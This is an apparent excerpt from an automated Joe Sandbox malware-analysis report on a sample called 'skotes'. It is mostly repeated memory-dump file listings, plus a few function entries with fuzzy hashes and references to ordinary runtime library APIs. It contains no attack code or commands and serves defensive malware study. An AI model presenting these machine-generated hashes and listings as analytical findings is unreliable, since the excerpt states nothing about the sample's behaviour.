Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 853453d9e990161f6edd6f7be157775ea44edd23fab01bbeb80c1d3aa22f7867
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 3E119131200105ABDB15DE79C881FAA77A4AF22324B18C15EFC069F242DB71D901CB91

Function 001AD029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 001AD0A5

Strings

SleepConditionVariableCS, xrefs: 001AD05D
api-ms-win-core-synch-l1-2-0.dll, xrefs: 001AD03B
WakeAllConditionVariable, xrefs: 001AD069
kernel32.dll, xrefs: 001AD04C

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 340c33b6a5bfb393184775f1913f70aa9033120fbf2f8e0a27efdb7a78cce2f6
Instruction ID: 901f161441191f9cc948dc2c0f2ae482859858ca69e17287b8b236b1cceba848
Opcode Fuzzy Hash: 340c33b6a5bfb393184775f1913f70aa9033120fbf2f8e0a27efdb7a78cce2f6
Instruction Fuzzy Hash: 6B01A765A86F51AAFB3177717E01D7F35C98B43B88F451611B902E3A50DB60DC418571

Function 001D4C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 001D4C98
__alloca_probe_16.LIBCMT ref: 001D4D5E
__freea.LIBCMT ref: 001D4DCA

Part of subcall function 001CB04B: RtlAllocateHeap.NTDLL(00000000,B33B1342,?,?,001AD3FC,B33B1342,?,001A7A8B,?,?,?,?,?,?,00197465,?), ref: 001CB07E

__freea.LIBCMT ref: 001D4DD3
__freea.LIBCMT ref: 001D4DF6

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 7a0b76355cae7fdfb02bb987b29f3f191867d9d1ddcff988b37b0c8f934993c5
Instruction ID: e9b4a0cf1d83541e29ee964879b70b8da35d405006d3f1f26a83919158c2110e
Opcode Fuzzy Hash: 7a0b76355cae7fdfb02bb987b29f3f191867d9d1ddcff988b37b0c8f934993c5
Instruction Fuzzy Hash: BA51A472600616AFEB259FA4DC81FBB37AADFA4750F15412AFD04E7345EB34DC1096A0

Function 001BE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 001BE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 001BE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 001BE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 001BE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 001BE9DC

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 56443e272866666c47c60ffac640d693851b9d709975d5efd615e1a95ed2fa63
Instruction ID: 118028b5f52d7dc18069e3b14cc1476aa5753862551b972d126281ce51aa79dc
Opcode Fuzzy Hash: 56443e272866666c47c60ffac640d693851b9d709975d5efd615e1a95ed2fa63
Instruction Fuzzy Hash: 3B414F75A00619EFCB09DFA4C494AADB7B6FF48310F058159E506AB790CB74AE45CF81

Function 001BD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 001BD344
ListArray.LIBCONCRT ref: 001BD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 001BD370
ListArray.LIBCONCRT ref: 001BD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 001BD3B3

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
